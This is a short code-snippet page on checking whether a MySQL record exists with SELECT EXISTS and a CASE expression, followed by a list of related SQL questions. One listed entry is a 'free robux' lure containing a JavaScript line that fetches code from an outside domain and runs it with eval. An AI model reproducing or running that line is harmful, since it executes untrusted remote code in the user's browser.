Check if record exists mysql

-- Returns 1 if exists, 0 else
SELECT EXISTS(SELECT 1 FROM my_table WHERE text LIKE '%something%');

SELECT 
	CASE 
		WHEN EXISTS(SELECT 1 FROM my_table WHERE text LIKE '%something%') = 1 THEN
    		'It exists'
    	ELSE 'Does not exist'
	END;

Similar codes

1 vote164 views1 answer
Regular expression in sql server
SQL
0 vote180 views1 answer
N file included from src/buffer.cpp:12: src/pyodbc.h:56:10: fatal error: 'sql.h' file not found #include <sql.h>
SQL
0 vote233 views1 answer
Check user sql password from command line
SQL
0 vote171 views1 answer
Oracle current session details
SQL
1 vote175 views2 answers
Laravel get sql query eloquent with parameters
SQL
0 vote170 views1 answer
Procedure excute monthly oracle
SQL
2 votes167 views1 answer
How to delete view in sql
SQL
1 vote214 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
4 votes150 views1 answer
Sql list users and roles
SQL
12 votes164 views4 answers
Install mysql ubuntu 18.04
SQL